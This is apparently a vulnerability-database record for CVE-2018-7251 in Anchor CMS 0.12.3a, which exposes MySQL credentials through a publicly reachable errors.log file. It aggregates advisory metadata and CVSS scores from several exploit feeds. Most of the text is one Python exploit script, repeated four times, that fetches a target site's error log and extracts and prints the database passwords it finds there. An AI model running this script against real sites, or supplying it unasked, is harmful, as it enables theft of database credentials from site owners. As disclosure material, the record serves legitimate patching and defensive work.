An issue was discovered in config/error.php in Anchor 0.12.3. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as "Too many connections") has occurred.
{"packetstorm": [{"lastseen": "2019-10-03T22:59:14", "description": "", "cvss3": {}, "published": "2019-10-03T00:00:00", "type": "packetstorm", "title": "Anchor CMS 0.12.3a Information Disclosure", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-7251"], "modified": "2019-10-03T00:00:00", "id": "PACKETSTORM:154723", "href": "https://packetstormsecurity.com/files/154723/Anchor-CMS-0.12.3a-Information-Disclosure.html", "sourceData": "`# Exploit Title: Information disclosure (MySQL password) in error log \n# Date: 2/10/2019 \n# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/) \n# Vendor Homepage: https://anchorcms.com/ \n# Software Link: https://github.com/anchorcms/anchor-cms/releases \n# Version: 0.12.3a \n# Tested on: Linux \n# CVE : CVE-2018-7251 \n \n# By default, AnchorCMS will log errors to the \"/anchor/errors.log\" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error \"Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)\". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log. \n \nimport re \nimport sys \nimport importlib \n \n \ndef get_plain(url): \ntry: \nplain_result = requests.get(url=url) \nreturn plain_result \nexcept: \nreturn None \n \n \ndef print_usage(): \nprint('Usage: {0} <url>'.format(__file__)) \n \n \nif __name__ == '__main__': \n \n# Ensure we have the URL \nif len(sys.argv) != 2: \nprint_usage() \nsys.exit(1) \n \nprint(\"* Using AnchorCMS website: \" + sys.argv[1]) \n \nprint(\"* Trying to import 'requests' module\") \nrequests_loader = importlib.util.find_spec('requests') \nrequests_module_found = requests_loader is not None \n \nif requests_module_found: \nimport requests \nelse: \nprint(\"* 'requests' module not found, please install it using pip\") \nprint(\"* pip install requests\") \nsys.exit(1) \n \njson_url = sys.argv[1].strip(\"/\") + \"/anchor/errors.log\" \nprint(\"* Trying to get errors.log file at: {}\".format(json_url)) \nplain_result = get_plain(json_url) \n \nif plain_result == None: \nprint(\"* URL could not be requested, errors.log is probably not exposed\") \nsys.exit(1) \n \nprint(\"* Found data {}, trying to parse it now\".format(plain_result)) \n \nlines = re.findall(r'\"line\":\\d', plain_result.text) \n \nprint(\"* Found {} error entries\".format(len(lines))) \n \npasswords = re.findall(r'\\[([^\\[\\]]*)\"password\"([^\\[\\]]*)\\]', plain_result.text) \n \nprint(\"* Found {} passwords entries\".format(len(passwords))) \n \nfor password in passwords: \nprint(\"+ {}\".format(password)) \n`\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "sourceHref": "https://packetstormsecurity.com/files/download/154723/anchorcms0123a-disclose.txt"}], "exploitpack": [{"lastseen": "2020-04-01T20:39:41", "description": "\nAnchorCMS 0.12.3a - Information Disclosure", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-10-03T00:00:00", "type": "exploitpack", "title": "AnchorCMS 0.12.3a - Information Disclosure", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-7251"], "modified": "2019-10-03T00:00:00", "id": "EXPLOITPACK:578BCD4512691FDF4327D0A6EC66FAA0", "href": "", "sourceData": "# Exploit Title: Information disclosure (MySQL password) in error log\n# Date: 2/10/2019\n# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)\n# Vendor Homepage: https://anchorcms.com/\n# Software Link: https://github.com/anchorcms/anchor-cms/releases\n# Version: 0.12.3a\n# Tested on: Linux\n# CVE : CVE-2018-7251\n\n# By default, AnchorCMS will log errors to the \"/anchor/errors.log\" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error \"Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)\". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.\n\nimport re\nimport sys\nimport importlib\n\n\ndef get_plain(url):\n try:\n plain_result = requests.get(url=url)\n return plain_result\n except:\n return None\n\n\ndef print_usage():\n print('Usage: {0} <url>'.format(__file__))\n\n\nif __name__ == '__main__':\n\n # Ensure we have the URL\n if len(sys.argv) != 2:\n print_usage()\n sys.exit(1)\n\n print(\"* Using AnchorCMS website: \" + sys.argv[1])\n\n print(\"* Trying to import 'requests' module\")\n requests_loader = importlib.util.find_spec('requests')\n requests_module_found = requests_loader is not None\n\n if requests_module_found:\n import requests\n else:\n print(\"* 'requests' module not found, please install it using pip\")\n print(\"* pip install requests\")\n sys.exit(1)\n\n json_url = sys.argv[1].strip(\"/\") + \"/anchor/errors.log\"\n print(\"* Trying to get errors.log file at: {}\".format(json_url))\n plain_result = get_plain(json_url)\n\n if plain_result == None:\n print(\"* URL could not be requested, errors.log is probably not exposed\")\n sys.exit(1)\n\n print(\"* Found data {}, trying to parse it now\".format(plain_result))\n\n lines = re.findall(r'\"line\":\\d', plain_result.text)\n\n print(\"* Found {} error entries\".format(len(lines)))\n\n passwords = re.findall(r'\\[([^\\[\\]]*)\"password\"([^\\[\\]]*)\\]', plain_result.text)\n\n print(\"* Found {} passwords entries\".format(len(passwords)))\n\n for password in passwords:\n print(\"+ {}\".format(password))", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "zdt": [{"lastseen": "2019-12-04T07:58:51", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2019-10-03T00:00:00", "type": "zdt", "title": "AnchorCMS < 0.12.3a - Information Disclosure Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-7251"], "modified": "2019-10-03T00:00:00", "id": "1337DAY-ID-33323", "href": "https://0day.today/exploit/description/33323", "sourceData": "# Exploit Title: Information disclosure (MySQL password) in error log\r\n# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)\r\n# Vendor Homepage: https://anchorcms.com/\r\n# Software Link: https://github.com/anchorcms/anchor-cms/releases\r\n# Version: 0.12.3a\r\n# Tested on: Linux\r\n# CVE : CVE-2018-7251\r\n\r\n# By default, AnchorCMS will log errors to the \"/anchor/errors.log\" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error \"Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)\". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.\r\n\r\nimport re\r\nimport sys\r\nimport importlib\r\n\r\n\r\ndef get_plain(url):\r\n try:\r\n plain_result = requests.get(url=url)\r\n return plain_result\r\n except:\r\n return None\r\n\r\n\r\ndef print_usage():\r\n print('Usage: {0} <url>'.format(__file__))\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n # Ensure we have the URL\r\n if len(sys.argv) != 2:\r\n print_usage()\r\n sys.exit(1)\r\n\r\n print(\"* Using AnchorCMS website: \" + sys.argv[1])\r\n\r\n print(\"* Trying to import 'requests' module\")\r\n requests_loader = importlib.util.find_spec('requests')\r\n requests_module_found = requests_loader is not None\r\n\r\n if requests_module_found:\r\n import requests\r\n else:\r\n print(\"* 'requests' module not found, please install it using pip\")\r\n print(\"* pip install requests\")\r\n sys.exit(1)\r\n\r\n json_url = sys.argv[1].strip(\"/\") + \"/anchor/errors.log\"\r\n print(\"* Trying to get errors.log file at: {}\".format(json_url))\r\n plain_result = get_plain(json_url)\r\n\r\n if plain_result == None:\r\n print(\"* URL could not be requested, errors.log is probably not exposed\")\r\n sys.exit(1)\r\n\r\n print(\"* Found data {}, trying to parse it now\".format(plain_result))\r\n\r\n lines = re.findall(r'\"line\":\\d', plain_result.text)\r\n\r\n print(\"* Found {} error entries\".format(len(lines)))\r\n\r\n passwords = re.findall(r'\\[([^\\[\\]]*)\"password\"([^\\[\\]]*)\\]', plain_result.text)\r\n\r\n print(\"* Found {} passwords entries\".format(len(passwords)))\r\n\r\n for password in passwords:\r\n print(\"+ {}\".format(password))\n\n# 0day.today [2019-12-04] #", "sourceHref": "https://0day.today/exploit/33323", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "gitlab": [{"lastseen": "2022-06-09T23:14:35", "description": "An issue was discovered in `config/error.php`.` The error log is exposed at an `errors.log` URI, and contains MySQL credentials if a MySQL error (such as 'Too many connections') has occurred.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-02-19T00:00:00", "type": "gitlab", "title": "Information Exposure", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-7251"], "modified": "2018-02-19T00:00:00", "id": "GITLAB-30AB692D699A9BFE500E2BBCD0CBEC53", "href": "https://gitlab.com/api/v4/projects/12006272/repository/files/packagist%2Fanchorcms%2Fanchor-cms%2FCVE-2018-7251.yml/raw", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "exploitdb": [{"lastseen": "2022-08-16T06:08:45", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-10-03T00:00:00", "type": "exploitdb", "title": "AnchorCMS < 0.12.3a - Information Disclosure", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["2018-7251", "CVE-2018-7251"], "modified": "2019-10-03T00:00:00", "id": "EDB-ID:47459", "href": "https://www.exploit-db.com/exploits/47459", "sourceData": "# Exploit Title: Information disclosure (MySQL password) in error log\r\n# Date: 2/10/2019\r\n# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)\r\n# Vendor Homepage: https://anchorcms.com/\r\n# Software Link: https://github.com/anchorcms/anchor-cms/releases\r\n# Version: 0.12.3a\r\n# Tested on: Linux\r\n# CVE : CVE-2018-7251\r\n\r\n# By default, AnchorCMS will log errors to the \"/anchor/errors.log\" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error \"Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)\". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.\r\n\r\nimport re\r\nimport sys\r\nimport importlib\r\n\r\n\r\ndef get_plain(url):\r\n try:\r\n plain_result = requests.get(url=url)\r\n return plain_result\r\n except:\r\n return None\r\n\r\n\r\ndef print_usage():\r\n print('Usage: {0} <url>'.format(__file__))\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n # Ensure we have the URL\r\n if len(sys.argv) != 2:\r\n print_usage()\r\n sys.exit(1)\r\n\r\n print(\"* Using AnchorCMS website: \" + sys.argv[1])\r\n\r\n print(\"* Trying to import 'requests' module\")\r\n requests_loader = importlib.util.find_spec('requests')\r\n requests_module_found = requests_loader is not None\r\n\r\n if requests_module_found:\r\n import requests\r\n else:\r\n print(\"* 'requests' module not found, please install it using pip\")\r\n print(\"* pip install requests\")\r\n sys.exit(1)\r\n\r\n json_url = sys.argv[1].strip(\"/\") + \"/anchor/errors.log\"\r\n print(\"* Trying to get errors.log file at: {}\".format(json_url))\r\n plain_result = get_plain(json_url)\r\n\r\n if plain_result == None:\r\n print(\"* URL could not be requested, errors.log is probably not exposed\")\r\n sys.exit(1)\r\n\r\n print(\"* Found data {}, trying to parse it now\".format(plain_result))\r\n\r\n lines = re.findall(r'\"line\":\\d', plain_result.text)\r\n\r\n print(\"* Found {} error entries\".format(len(lines)))\r\n\r\n passwords = re.findall(r'\\[([^\\[\\]]*)\"password\"([^\\[\\]]*)\\]', plain_result.text)\r\n\r\n print(\"* Found {} passwords entries\".format(len(passwords)))\r\n\r\n for password in passwords:\r\n print(\"+ {}\".format(password))", "sourceHref": "https://www.exploit-db.com/download/47459", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}]}